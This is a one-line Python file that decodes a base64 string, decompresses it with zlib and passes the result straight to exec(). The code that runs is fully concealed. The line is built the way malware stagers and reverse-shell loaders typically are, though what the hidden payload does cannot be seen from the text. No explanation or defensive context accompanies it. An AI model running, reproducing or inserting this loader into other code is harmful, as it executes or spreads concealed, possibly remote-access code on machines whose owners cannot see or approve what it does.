exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LAzEQPW9+xd6SwRi67dpDcQURDyIiWG9FZDcZa9hsEpJUV8X/bkOKlxnemzdvPvTkXUh1dHLExL+NHvjQR1y3PKZwkIknPSF5c6Gea23r0Ns9smYBG1Kl8HWMVexKsyiJLfkJbx9v7l+3z0+31w+QdUI6a1EmxuhSJOmF3Qc3Cu0ob9pVs4KsGgL2I6lwluhTts/zRTSInl0AMV1ZSxys7+XI6NUd5VEElB+sBdgtXojqTtgA+XzXBmuDlim4NEc7dfZfPS80EJxRsny5UCjd5APGyMoTxLBuM6kwK/kPjXQTf4H8AU/CYcw=')[0])))